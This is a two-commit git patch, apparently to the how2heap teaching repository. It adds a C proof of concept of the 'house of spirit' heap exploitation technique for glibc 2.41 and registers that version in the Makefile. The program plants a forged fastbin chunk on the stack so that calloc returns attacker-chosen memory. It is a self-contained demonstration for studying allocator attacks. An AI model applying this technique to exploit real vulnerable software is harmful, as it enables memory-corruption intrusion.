From 8a9cb57033b059df6e511b8b013b41626c7e41b7 Mon Sep 17 00:00:00 2001 From: smiley <93072266+dmur1@users.noreply.github.com> Date: Tue, 15 Apr 2025 21:03:14 +0100 Subject: [PATCH 1/2] add a version of house_of_spirit.c that works with glibc_2.41 --- glibc_2.41/house_of_spirit.c | 52 ++++++++++++++++++++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100644 glibc_2.41/house_of_spirit.c diff --git a/glibc_2.41/house_of_spirit.c b/glibc_2.41/house_of_spirit.c new file mode 100644 index 0000000..220ecf7 --- /dev/null +++ b/glibc_2.41/house_of_spirit.c @@ -0,0 +1,52 @@ +#include +#include +#include + +int main() +{ + setbuf(stdout, NULL); + + puts("This file demonstrates the house of spirit attack."); + puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); + puts("Required primitives: known target address, ability to set up the start/end of the target memory"); + + puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); + void *chunks[7]; + for(int i=0; i<7; i++) { + chunks[i] = malloc(0x30); + } + for(int i=0; i<7; i++) { + free(chunks[i]); + } + + puts("\nStep 2: Prepare the fake chunk"); + // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) + long fake_chunks[10] __attribute__ ((aligned (0x10))); + printf("The target fake chunk is at %p\n", fake_chunks); + printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); + printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); + puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); + printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); + fake_chunks[1] = 0x40; // this is the size + + printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); + printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); + fake_chunks[9] = 0x1234; // nextsize + + puts("\nStep 3: Free the first fake chunk"); + puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); + void *victim = &fake_chunks[2]; + free(victim); + + puts("\nStep 4: Take out the fake chunk"); + puts("First we have to empty the tcache."); + for(int i=0; i<7; i++) { + malloc(0x30); + } + + printf("Now the next calloc (or malloc) will return our fake chunk at %p!\n", &fake_chunks[2]); + void *allocated = calloc(1, 0x30); + printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim); + + assert(allocated == victim); +} From 96ca96c7d3aeb8e914cfb49572d463efd2f45440 Mon Sep 17 00:00:00 2001 From: smiley <93072266+dmur1@users.noreply.github.com> Date: Fri, 25 Apr 2025 22:35:30 +0100 Subject: [PATCH 2/2] add 2.41 to VERSIONS in the Makefile as per request: https://github.com/shellphish/how2heap/pull/207#issuecomment-2831417373 --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 39a5d95..bed4602 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ .PHONY: help clean distclean all test -VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 +VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.41 TECH_BINS := $(patsubst %.c,%,$(wildcard glibc_*/*.c)) BASE_BINS := $(patsubst %.c,%,$(wildcard *.c)) DOWNLOADED := glibc-all-in-one/libs glibc-all-in-one/debs